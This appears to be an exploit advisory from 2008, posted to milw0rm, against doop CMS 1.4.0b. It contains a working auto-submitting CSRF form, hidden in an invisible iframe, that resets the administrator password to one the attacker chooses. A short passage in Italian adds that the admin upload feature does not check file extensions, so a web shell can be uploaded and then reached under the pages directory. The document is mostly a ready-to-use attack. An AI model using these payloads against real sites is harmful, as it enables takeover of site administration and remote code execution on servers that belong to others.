doop CMS <= 1.4.0b (CSRF/Upload Shell) Multiple Remote Vulnerabilities

-------------------------------------------------------------------------- | Project: Doop <= 1.4.0b CSRF && Upload Shell | | Author: x0r | | Email: andry2000@hotmail.it | |________________________________________________________________________| #-- CSRF Change Admin Pass --# ---------------------------------------------------------------------- <iframe name="noscreen" frameborder="0" height="0" width="0"></iframe> <form name="admin" action="http://[site/[path]/index.php?action=admin" method="post" target="noscreen"> <input type="hidden" name="save" value="[Your_Pass]"> <input type="submit" name="submit" value="Save"> </form><script>document.admin.submit()</script> ---------------------------------------------------------------------- #-- Upload Shell --# Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi file ( non controlla l'estensione), quindi anche shell...una volta uppata la shell, possiamo usarla al seguente link: http://[site]/[path]/pages/[shell.php]. # x0r -- w00t Zone - w00tzone.org # milw0rm.com [2008-12-24]